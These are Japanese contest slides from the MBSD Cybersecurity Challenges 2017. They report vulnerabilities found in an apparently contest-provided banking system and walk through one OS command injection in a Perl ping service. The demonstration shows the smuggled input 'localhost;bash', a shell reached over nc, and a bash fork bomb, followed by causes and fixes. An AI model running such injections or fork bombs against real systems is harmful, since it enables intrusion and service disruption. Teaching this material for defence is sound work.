Submit Search
MBSD_Cybersecurity_Challenges_2017_最終審査会_発表スライド
0 likes
932 views
Y
Yoshinori Hayashi
チーム「IPFactory」の「MBSD Cybersecurity Challenges 2017」の最終審査会用のスライド
Technology
Related topics:
Information Security
Read more
1 of 66
Download now
Download to read offline
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
More Related Content
PDF
MySQLのプロトコル解説
Masahiro Tomita
ODP
sshdのお話
(^-^) togakushi
PPTX
OpenSSHの認証に証明書を使う
Hironobu Saitoh
ODP
現場で役に立たないsudoの使い方
(^-^) togakushi
ODP
OpenSSH User EnumerationTime-Based Attack と Python-paramiko
(^-^) togakushi
PDF
Janog33.5
(^-^) togakushi
PDF
SSH力をつけよう
(^-^) togakushi
PPTX
Wiresharkの解析プラグインを作る ssmjp 201409
稔 小林
MySQLのプロトコル解説
Masahiro Tomita
sshdのお話
(^-^) togakushi
OpenSSHの認証に証明書を使う
Hironobu Saitoh
現場で役に立たないsudoの使い方
(^-^) togakushi
OpenSSH User EnumerationTime-Based Attack と Python-paramiko
(^-^) togakushi
Janog33.5
(^-^) togakushi
SSH力をつけよう
(^-^) togakushi
Wiresharkの解析プラグインを作る ssmjp 201409
稔 小林
What's hot
(20)
PDF
OpenStack + Common Lisp
irix_jp
PPT
HandlerSocket plugin for MySQL
akirahiguchi
PDF
PG-REXで学ぶPacemaker運用の実例
kazuhcurry
PDF
[Azure Antenna] クラウドで HPC ~ HPC 環境の構築から、アプリケーションの実行まで ~
Shuichi Gojuki
PPTX
Trema での Open vSwitch
kazuyas
PDF
Node-v0.12の新機能について
shigeki_ohtsu
PPTX
さくらのVPSに来る悪い人を観察する その2
ozuma5119
PDF
Free bsd jail入門
Tsubasa Nomura
KEY
VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話
Takashi Uemura
PDF
Open vSwitchソースコードの全体像
Sho Shimizu
PDF
㉞cocos2d-xの開発環境をインストールしてみよう
Nishida Kansuke
PDF
いまさら聞けないNGINXコンフィグ_F5-NGINX-Community-20200805
shinyatsukasaki
PDF
SSHパケットの復号ツールを作ろう_v1(Decrypt SSH .pcap File)
Tetsuya Hasegawa
PPTX
さくらのVPSに来た攻撃観察記
ozuma5119
PDF
ライブドア様xKLab合同勉強会 システムモニタリングツール「Ganglia」の紹介
Kazuya Yokogawa
PDF
Valhalla Update JJUG CCC Spring 2019
David Buck
PDF
Gangliaはじめました
yuzorock
PDF
[Azure Antenna] HPCだけじゃないDeep Learningでも使える ハイパフォーマンスAzureインフラ ~ Azureハイパフォーマ...
Shuichi Gojuki
PDF
C/C++プログラマのための開発ツール
MITSUNARI Shigeo
PDF
GoogleのSHA-1のはなし
MITSUNARI Shigeo
OpenStack + Common Lisp
irix_jp
HandlerSocket plugin for MySQL
akirahiguchi
PG-REXで学ぶPacemaker運用の実例
kazuhcurry
[Azure Antenna] クラウドで HPC ~ HPC 環境の構築から、アプリケーションの実行まで ~
Shuichi Gojuki
Trema での Open vSwitch
kazuyas
Node-v0.12の新機能について
shigeki_ohtsu
さくらのVPSに来る悪い人を観察する その2
ozuma5119
Free bsd jail入門
Tsubasa Nomura
VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話
Takashi Uemura
Open vSwitchソースコードの全体像
Sho Shimizu
㉞cocos2d-xの開発環境をインストールしてみよう
Nishida Kansuke
いまさら聞けないNGINXコンフィグ_F5-NGINX-Community-20200805
shinyatsukasaki
SSHパケットの復号ツールを作ろう_v1(Decrypt SSH .pcap File)
Tetsuya Hasegawa
さくらのVPSに来た攻撃観察記
ozuma5119
ライブドア様xKLab合同勉強会 システムモニタリングツール「Ganglia」の紹介
Kazuya Yokogawa
Valhalla Update JJUG CCC Spring 2019
David Buck
Gangliaはじめました
yuzorock
[Azure Antenna] HPCだけじゃないDeep Learningでも使える ハイパフォーマンスAzureインフラ ~ Azureハイパフォーマ...
Shuichi Gojuki
C/C++プログラマのための開発ツール
MITSUNARI Shigeo
GoogleのSHA-1のはなし
MITSUNARI Shigeo
Ad
Similar to MBSD_Cybersecurity_Challenges_2017_最終審査会_発表スライド
(20)
PDF
Linux女子部 firewalld徹底入門!
Etsuji Nakai
PPTX
2014年版 抑えておきたいサーバセキュリティ
Takahisa Iwamoto
PDF
Linuxサーバのセキュリティ対策 part1
Kazunori Inaba
PDF
Linuxサーバのセキュリティ対策 part2 - Apache編
Kazunori Inaba
PDF
Azureの上におとりを置いて、世界中から攻撃される様子を観察した話
Ryuki Yoshimatsu
PDF
ウェブセキュリティ
Florent Batard
PPTX
201407 seccon2014オンライン予選(日本語) write-up
恵寿 東
PDF
cloudpackサーバ仕様書(サンプル)
iret, Inc.
PPTX
MBSD Cybersecurity Challenges 2018
gomafu04
PPTX
MBSD Cybersecurity Challenges 2018
Tomoya Takezaki
PDF
Osc2018 tokyo spring_scap
Kazuki Omo
PDF
how to defend DNS authoritative server against DNS WaterTorture
@ otsuka752
PPTX
LinAction Theme LPICの問題を解いてみる~ネットワーク編~
cyberblack28 Ichikawa
PDF
Security workshop 20131213
Yuuki Takano
PDF
オープンソースで始めるLinuxサーバー脆弱性診断入門
Shiojiri Ohhara
PDF
Webサーバのかくれんぼ
Shinichi Hirauchi
PPTX
講演資料: コスト最適なプライベートCDNを「NGINX」で実現するWeb最適化セミナー
NGINX, Inc.
PPTX
Web dbの監視
ii012014
PPTX
クラウドハニーポットを運用しよう!
Mizutani Masayoshi
PPT
Webサーバの基礎知識【編集済み】
Kikunaga Taishi
Linux女子部 firewalld徹底入門!
Etsuji Nakai
2014年版 抑えておきたいサーバセキュリティ
Takahisa Iwamoto
Linuxサーバのセキュリティ対策 part1
Kazunori Inaba
Linuxサーバのセキュリティ対策 part2 - Apache編
Kazunori Inaba
Azureの上におとりを置いて、世界中から攻撃される様子を観察した話
Ryuki Yoshimatsu
ウェブセキュリティ
Florent Batard
201407 seccon2014オンライン予選(日本語) write-up
恵寿 東
cloudpackサーバ仕様書(サンプル)
iret, Inc.
MBSD Cybersecurity Challenges 2018
gomafu04
MBSD Cybersecurity Challenges 2018
Tomoya Takezaki
Osc2018 tokyo spring_scap
Kazuki Omo
how to defend DNS authoritative server against DNS WaterTorture
@ otsuka752
LinAction Theme LPICの問題を解いてみる~ネットワーク編~
cyberblack28 Ichikawa
Security workshop 20131213
Yuuki Takano
オープンソースで始めるLinuxサーバー脆弱性診断入門
Shiojiri Ohhara
Webサーバのかくれんぼ
Shinichi Hirauchi
講演資料: コスト最適なプライベートCDNを「NGINX」で実現するWeb最適化セミナー
NGINX, Inc.
Web dbの監視
ii012014
クラウドハニーポットを運用しよう!
Mizutani Masayoshi
Webサーバの基礎知識【編集済み】
Kikunaga Taishi
Ad
MBSD_Cybersecurity_Challenges_2017_最終審査会_発表スライド
1.
MBSD Cybersecurity Challenges
2017 最終審査会 発表用スライド
2.
はじめに • クライアントのシステムの脆弱性診断を実施 脆弱性の危険性の説明
対策の提案 • 評価基準 共通脆弱性システム CVSSv3.0 共通脆弱性タイプ一覧 CWE
3.
報告した脆弱性の件数
4.
• SQLインジェクション • SNMPデフォルトコミュニティ名の付与 •
phpinfoが公開されている • Directory Indexが閲覧可能 • SSL/TLS証明書が自己署名証明書 • HTTP Strict Transport Securityヘッダが設定されていない • X-XSS-Protectionヘッダの不備によるブラウザ保護機能の無効化 • X-Content-Type-Optionsヘッダの不備によるブラウザ保護機能の 無効化 • ログイン画面でのSQLインジェクション • ログイン試行が何回でも可能 • Login時のアカウント情報漏えい • ユーザ登録時、基幹システムに渡す情報が空でもユーザ登録可 能 • 誰でも任意のWebAPIを利用することができる • ping が通る • activateが完了していないアカウントの銀行口座を任意の残高で activateすることができる • activate.phpにSQLインジェクション • activate.phpにtype confusion • tomcatに任意のファイルアップロード及び任意のコード実行の脆 弱性 • Apache TomcatにJSPソースコードを閲覧できる脆弱性 • Apache Tomcatにキャッシュポイズニングの脆弱性 • Apache Tomcatに情報漏えいの脆弱性 • Tomcatのデフォルトページが表示されている • Tomcatの認証で推測されやすいパスワードを使用している • Tomcatのshutdownポートがデフォルトのまま使用されている • HTTPレスポンスヘッダにtomcatのサーバ情報が表示される • branchlist.phpにSQLインジェクション • banklist.phpのAPIから銀行情報を閲覧できる • branchlist.phpのAPIから支店情報を閲覧できる • user.phpにSQLインジェクション[1] • user.phpにSQLインジェクション[2] • transfer.phpにSQLインジェクション[1] • transfer.phpにSQLインジェクション[2] • transfer.phpにtest用のパラメータが実装されたままになっている • JSONパラメータへの5000byteの文字列挿入による SystemError[1] • JSONパラメータへの5000byteの文字列挿入による SystemError[2] • transactionlist.phpにSQLインジェクション • verify.phpにSQLインジェクション[1] • verify.phpにSQLインジェクション[2] • verify.phpにtype confusion • 誰でもencrypt機能を利用できる • 誰でもdencrypt機能を利用できる • decrypt.phpでクロスサイトスクリプティング
5.
• hidden_server.phpにSQLインジェクション[1] • hidden_server.phpにSQLインジェクション[2] •
hidden_server.phpにSQLインジェクション[3] • hidden_server.phpに銀行残高を任意の数値だけ増やすことがで きる • xinetdで動いているプログラムにOSコマンドインジェクションの脆 弱性 • getrealip.phpで認証回避が可能 • ワンタイムパスワードベースが予測可能 • MySQLサーバーコンポーネントに脆弱性[1] • MySQLサーバーコンポーネントに脆弱性[2] • MySQLサーバーコンポーネントに脆弱性[3] • MySQLサーバーコンポーネントに脆弱性[4] • MySQLサーバーコンポーネントに脆弱性[5] • MySQLサーバーコンポーネントに脆弱性[6] • MySQLサーバーコンポーネントに脆弱性[7] • MySQLサーバーコンポーネントに脆弱性[8] • MySQLサーバーコンポーネントに脆弱性[9] • MySQLサーバーコンポーネントに脆弱性[10] • MySQLサーバーコンポーネントに脆弱性[11] • MySQLサーバーコンポーネントに脆弱性[12] • MySQLサーバーコンポーネントに脆弱性[13] • MySQLサーバーコンポーネントに脆弱性[14] • MySQLサーバーコンポーネントに脆弱性[15] • glibcにヒープベースのバッファオーバーフローの脆弱性 • glibcにGLOB_TILDEを使用したglob.c • ApacheのUserDirモジュールが有効になっている • SSHで弱い暗号化アルゴリズムがサポートされている • TCPタイムスタンプが実装されている • Apacheのディレクトリリスティングが有効になっている • Tomcatサーブレット/JSPコンテナのデフォルトファイル • PHP5.6.31にインタプリタのクラッシュが発生する脆弱性 • PHP5.6.31にアプリケーションのクラッシュが発生する脆弱性 • PHP5.6.31にインタプリタを利用した情報の窃取を行われる脆弱 性 • phpのtimlib_meridian()に境界外読み取りの脆弱性 • PHP5.6.31にインタプリタのクラッシュを起こす脆弱性 • ホスト上で任意のコードを実行してシステム上の特権を得る可能 性 • カーネルにUse-After-Freeの脆弱性
6.
• hidden_server.phpにSQLインジェクション[1] • hidden_server.phpにSQLインジェクション[2] •
hidden_server.phpにSQLインジェクション[3] • hidden_server.phpに銀行残高を任意の数値だけ増やすことがで きる • xinetdで動いているプログラムにOSコマンドインジェクションの脆 弱性 • getrealip.phpで認証回避が可能 • ワンタイムパスワードベースが予測可能 • MySQLサーバーコンポーネントに脆弱性[1] • MySQLサーバーコンポーネントに脆弱性[2] • MySQLサーバーコンポーネントに脆弱性[3] • MySQLサーバーコンポーネントに脆弱性[4] • MySQLサーバーコンポーネントに脆弱性[5] • MySQLサーバーコンポーネントに脆弱性[6] • MySQLサーバーコンポーネントに脆弱性[7] • MySQLサーバーコンポーネントに脆弱性[8] • MySQLサーバーコンポーネントに脆弱性[9] • MySQLサーバーコンポーネントに脆弱性[10] • MySQLサーバーコンポーネントに脆弱性[11] • MySQLサーバーコンポーネントに脆弱性[12] • MySQLサーバーコンポーネントに脆弱性[13] • MySQLサーバーコンポーネントに脆弱性[14] • MySQLサーバーコンポーネントに脆弱性[15] • glibcにヒープベースのバッファオーバーフローの脆弱性 • glibcにGLOB_TILDEを使用したglob.c • ApacheのUserDirモジュールが有効になっている • SSHで弱い暗号化アルゴリズムがサポートされている • TCPタイムスタンプが実装されている • Apacheのディレクトリリスティングが有効になっている • Tomcatサーブレット/JSPコンテナのデフォルトファイル • PHP5.6.31にインタプリタのクラッシュが発生する脆弱性 • PHP5.6.31にアプリケーションのクラッシュが発生する脆弱性 • PHP5.6.31にインタプリタを利用した情報の窃取を行われる脆弱 性 • phpのtimlib_meridian()に境界外読み取りの脆弱性 • PHP5.6.31にインタプリタのクラッシュを起こす脆弱性 • ホスト上で任意のコードを実行してシステム上の特権を得る可能 性 • カーネルにUse-After-Freeの脆弱性 以上 件
7.
今回紹介する脆弱性 OSコマンドインジェクション
8.
今回紹介する脆弱性 – CVSSv3基本値(危険度) /10.0 (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H) CWE-78
9.
OSコマンドインジェクションとは • 攻撃手法の一種 OSコマンドを利用した攻撃
10.
OSコマンドインジェクションとは WEBサイト 脆弱なWebアプリケーション 攻撃者 OSコマンド実行OSコマンド実行 OS コマンド
11.
想定されるリスク 攻撃者 操作 OSコマンド ファイル
12.
想定されるリスク • 攻撃のための情報収集 バージョン 情報 設定ファイル
13.
想定されるリスク • 攻撃のための情報収集 • 機密情報の漏えい 個人情報 パスワード
14.
想定されるリスク • 攻撃のための情報収集 • 機密情報の漏えい •
管理者権限の奪取 root
15.
想定されるリスク • 攻撃のための情報収集 • 機密情報の漏えい •
管理者権限の奪取 • 不正なプログラムの埋め込み
16.
想定されるリスク • 攻撃のための情報収集 • 機密情報の漏えい •
管理者権限の奪取 • 不正なプログラムの埋め込み • システムやデータの破壊・改ざん
17.
想定されるリスク • 攻撃のための情報収集 • 機密情報の漏えい •
管理者権限の奪取 • 不正なプログラムの埋め込み • システムやデータの破壊・改ざん • 他の攻撃のための踏み台 参考: MBSD セキュリティ診断項目解説 「OSコマンドインジェクション」 https://www.mbsd.jp/security_glossary/security_glossary_oscommand.html
18.
脆弱性の実例 34567番ポート (xinetd) ①接続 help echo uptime
iostat exit quit ping ②利用可能 ユーザ
19.
pingの仕様 • 使用方法: ping
[ホスト] • 機能: 対象ホストとの疎通確認 疎通してる? 疎通してるよ
20.
pingの仕様 ping => sub
{ my $host = shift; system(“ping -c 4 -W 1 $host”); },
21.
ping localhost プログラム $host =
“localhost” system(“ping –c 4 -W 1 $host”) localhost ユーザ
22.
ping localhost プログラム system(“ping –c
4 -W 1 localhost”) ユーザ
23.
ping localhost プログラム OSコマンド実行OSコマンド実行 ping –c
4 –W 1 localhost ユーザ
24.
ping localhost PING localhost
(127.0.0.1) 56(84) bytes of data. 64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.031ms 64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.139ms 64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.043ms 64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64 time=0.038ms --- localhost ping statistics --- 4packets transmited, 4 received, 0% packet loss, time 3002ms rtt min/avg/max/mdev = 0.031/0.062/0.139/0.045 ms $ nc 192.168.56.101 34567
25.
実際の攻撃方法
26.
$ コマンド1;コマンド2 コマンド1を実行したあとにコマンド2を実行
27.
ping localhost;bash system(“ping -c
4 -W 1 $host”)
28.
ping localhost;bash system(“ping -c
4 -W 1 localhost;bash”)
29.
system(“ping -c 4
-W 1 localhost;bash”) $ ping -c 4 -W 1 localhost$ ping -c 4 -W 1 localhost
30.
system(“ping -c 4
-W 1 localhost;bash”) $ bash$ bash
31.
ping localhost;bash PING localhost
(127.0.0.1) 56(84) bytes of data. 64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.026ms 64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.054ms 64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.057ms 64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64 time=0.055ms --- localhost ping statistics --- 4packets transmited, 4 received, 0% packet loss, time 2999ms rtt min/avg/max/mdev = 0.026/0.048/0.057/0.012 ms $ nc 192.168.56.101 34567
32.
ping localhost;bash PING localhost
(127.0.0.1) 56(84) bytes of data. 64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.026ms 64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.054ms 64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.057ms 64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64 time=0.055ms --- localhost ping statistics --- 4packets transmited, 4 received, 0% packet loss, time 2999ms rtt min/avg/max/mdev = 0.026/0.048/0.057/0.012 ms httpd -v $ nc 192.168.56.101 34567
33.
ping localhost;bash PING localhost
(127.0.0.1) 56(84) bytes of data. 64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.026ms 64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.054ms 64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.057ms 64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64 time=0.055ms --- localhost ping statistics --- 4packets transmited, 4 received, 0% packet loss, time 2999ms rtt min/avg/max/mdev = 0.026/0.048/0.057/0.012 ms httpd -v Server version: Apache/2.4.6 (CentOS) Server built: Oct 11 2017 17:16:47 $ nc 192.168.56.101 34567
34.
PING localhost (127.0.0.1)
56(84) bytes of data. 64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.026ms 64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.054ms 64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.057ms 64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64 time=0.055ms --- localhost ping statistics --- 4packets transmited, 4 received, 0% packet loss, time 2999ms rtt min/avg/max/mdev = 0.026/0.048/0.057/0.012 ms httpd -v Server version: Apache/2.4.6 (CentOS) Server built: Oct 11 2017 17:16:47 :(){ :| :&};: $ nc 192.168.56.101 34567
35.
PING localhost (127.0.0.1)
56(84) bytes of data. 64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.026ms 64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.054ms 64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.057ms 64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64 time=0.055ms --- localhost ping statistics --- 4packets transmited, 4 received, 0% packet loss, time 2999ms rtt min/avg/max/mdev = 0.026/0.048/0.057/0.012 ms httpd -v Server version: Apache/2.4.6 (CentOS) Server built: Oct 11 2017 17:16:47 :(){ :| :&};: $ nc 192.168.56.101 34567
36.
PING localhost (127.0.0.1)
56(84) bytes of data. 64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.026ms 64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.054ms 64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.057ms 64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64 time=0.055ms --- localhost ping statistics --- 4packets transmited, 4 received, 0% packet loss, time 2999ms rtt min/avg/max/mdev = 0.026/0.048/0.057/0.012 ms httpd -v Server version: Apache/2.4.6 (CentOS) Server built: Oct 11 2017 17:16:47 :(){ :| :&};: $ nc 192.168.56.101 34567
37.
原因
38.
原因 1. シェルを呼び出す機能のある関数の利用 • system関数 •
open関数
39.
原因 1. シェルを呼び出す機能のある関数の利用 • system関数 •
open関数 2. シェルを呼び出す機能のある関数にパラメータを利用
40.
原因 1. シェルを呼び出す機能のある関数の利用 • system関数 •
open関数 2. シェルを呼び出す機能のある関数にパラメータを利用 3. メタ文字のエスケープの未実施 “ $ @ & ‘ ( ) ^ | [ ] { } ; * ? < > ` ¥
41.
対策
42.
対策 1. OSコマンド呼び出しを使わない
43.
対策 1. OSコマンド呼び出しを使わない 2. シェル呼び出し機能のある関数の利用を避ける
例) open関数 -> sysopen関数
44.
対策 1. OSコマンド呼び出しを使わない 2. シェル呼び出し機能のある関数の利用を避ける
例) open関数 -> sysopen関数 3. 外部からの入力をOSコマンドのパラメータに渡さない
45.
対策 1. OSコマンド呼び出しを使わない 2. シェル呼び出し機能のある関数の利用を避ける
例) open関数 -> sysopen関数 3. 外部からの入力をOSコマンドのパラメータに渡さない 4. OSコマンドに渡すパラメータのエスケープを実施 例) quotemeta関数 (perl言語) 参考: OSコマンドインジェクション 「OSコマンドインジェクションの脅威」 http://senmon.cfc.ac.jp/studentreport/report2/OS.html
46.
以上
47.
考察
48.
考察 • 脆弱性が生まれた原因 アクセス制御の未実施
管理者用の機能 -> 誰でも利用可能 設計の問題
49.
アクセス制御について
50.
アクセス制御について 認証 (Authentication) 認可 (Authorization) 識別 (Identification) 説明責任 (Accountability)
51.
アクセス制御について 認証 (Authentication) 認可 (Authorization) 識別 (Identification) 誰? 本人? OK! 1
2 3
52.
アクセス制御について 認証 (Authentication) 認可 (Authorization) 識別 (Identification) 1 2 3 説明責任 (Accountability)
記録 コントロール モニタリング 4
53.
アクセス制御の未実施 • 原因 設計時点の問題
要件定義が不十分
54.
組織で定められている ルール・ポリシー 方針・管理目的
55.
組織で定められている ルール・ポリシー 機能要件 方針・管理目的
56.
組織で定められている ルール・ポリシー 機能要件 保証要件 方針・管理目的 セキュリティ対策が適切か
57.
FF 管理者だけが使う アクセス制御 • テストを行う • ログを取る ルール・ポリシー 機能要件
保証要件 今回のプログラム
58.
FF アクセス制御の概念 • ID管理 • 認証の3要素 •
記録(ログなど) • テスト • 監査 ルール・ポリシー 機能要件 保証要件 アクセス制御
59.
結論 • 設計における各要件定義が不十分 アクセス制御の未実装の原因
OSコマンドインジェクションの脆弱性の発生
60.
脆弱性タイプ CWE識別子 件数
割合 SQLインジェクション CWE-89 14 18% 環境設定 CWE-16 12 15% 情報漏洩 CWE-200 8 10% 設計上の問題 CWE-DesignError 6 8% 認可・権限・アクセス制御 CWE-264 5 6% 型の取り違え CWE-843 2 3% 証明書・パスワード管理 CWE-255 2 3% 不適切な入力確認 CWE-20 2 3% バッファエラー CWE-119 2 3% 解放済みメモリの使用 CWE-416 2 3% OSコマンドインジェクション CWE-78 1 1% クロスサイトスクリプティング CWE-79 1 1% 危険なタイプのファイルの無制限アップロード CWE-434 1 1% データの信頼性についての不十分な検証 CWE-345 1 1% 不適切なアクセス制御 CWE-284 1 1% XML 外部エンティティ参照の不適切な制限 CWE-611 1 1% 暗号の問題 CWE-310 1 1% 信頼性のないデータのデシリアライゼーション CWE-502 1 1% 例外的な状態における不適切なチェック CWE-754 1 1% 境界外読み取り CWE-125 1 1% パス・トラバーサル CWE-22 1 1% 情報不足 CWE-noinfo 13 16% 合計 79 100%
61.
脆弱性タイプ CWE識別子 件数
割合 SQLインジェクション CWE-89 14 18% 環境設定 CWE-16 12 15% 情報漏洩 CWE-200 8 10% 設計上の問題 CWE-DesignError 6 8% 認可・権限・アクセス制御 CWE-264 5 6% 型の取り違え CWE-843 2 3% 証明書・パスワード管理 CWE-255 2 3% 不適切な入力確認 CWE-20 2 3% バッファエラー CWE-119 2 3% 解放済みメモリの使用 CWE-416 2 3% OSコマンドインジェクション CWE-78 1 1% クロスサイトスクリプティング CWE-79 1 1% 危険なタイプのファイルの無制限アップロード CWE-434 1 1% データの信頼性についての不十分な検証 CWE-345 1 1% 不適切なアクセス制御 CWE-284 1 1% XML 外部エンティティ参照の不適切な制限 CWE-611 1 1% 暗号の問題 CWE-310 1 1% 信頼性のないデータのデシリアライゼーション CWE-502 1 1% 例外的な状態における不適切なチェック CWE-754 1 1% 境界外読み取り CWE-125 1 1% パス・トラバーサル CWE-22 1 1% 情報不足 CWE-noinfo 13 16% 合計 79 100%
62.
脆弱性タイプ CWE識別子 件数
割合 SQLインジェクション CWE-89 14 18% 環境設定 CWE-16 12 15% 情報漏洩 CWE-200 8 10% 設計上の問題 CWE-DesignError 6 8% 認可・権限・アクセス制御 CWE-264 5 6% 型の取り違え CWE-843 2 3% 証明書・パスワード管理 CWE-255 2 3% 不適切な入力確認 CWE-20 2 3% バッファエラー CWE-119 2 3% 解放済みメモリの使用 CWE-416 2 3% OSコマンドインジェクション CWE-78 1 1% クロスサイトスクリプティング CWE-79 1 1% 危険なタイプのファイルの無制限アップロード CWE-434 1 1% データの信頼性についての不十分な検証 CWE-345 1 1% 不適切なアクセス制御 CWE-284 1 1% XML 外部エンティティ参照の不適切な制限 CWE-611 1 1% 暗号の問題 CWE-310 1 1% 信頼性のないデータのデシリアライゼーション CWE-502 1 1% 例外的な状態における不適切なチェック CWE-754 1 1% 境界外読み取り CWE-125 1 1% パス・トラバーサル CWE-22 1 1% 情報不足 CWE-noinfo 13 16% 合計 79 100%
63.
総評 安全なシステムは 安全な設計から
64.
参考資料 – 1 •
情報処理推進機構 IPA 「共通脆弱性評価システムCVSS v3概説」 https://www.ipa.go.jp/security/vuln/CVSSv3.html • 情報処理推進機構 IPA 「共通脆弱性タイプ一覧CWE概説」 https://www.ipa.go.jp/security/vuln/CWE.html • OSコマンドインジェクション 「OSコマンドインジェクションの脅威」 http://senmon.cfc.ac.jp/studentreport/report2/OS.html • MBSD セキュリティ診断項目解説 「OSコマンドインジェクション」 https://www.mbsd.jp/security_glossary/security_glossary_oscommand.html • JVN iPedia 脆弱性対策情報データベース 「CWE-78 OSコマンドインジェクション」 http://jvndb.jvn.jp/ja/cwe/CWE-78.html • 情報処理推進機構 IPA 「情報セキュリティ評価のためのコモンクライテリア」 https://www.ipa.go.jp/security/jisec/cc/documents/CCPART3V3.1R4-J1.0.pdf
65.
参考資料 - 2 •
(ISC)2 「CISSP CBK8ドメイン概要」 https://japan.isc2.org/cissp_gaiyou.html • 情報処理推進機構 IPA 「セキュリティ機能と保証レベル」 https://www.ipa.go.jp/security/jisec/forusers/abouteal.html
66.
ご清聴ありがとうございました。
Download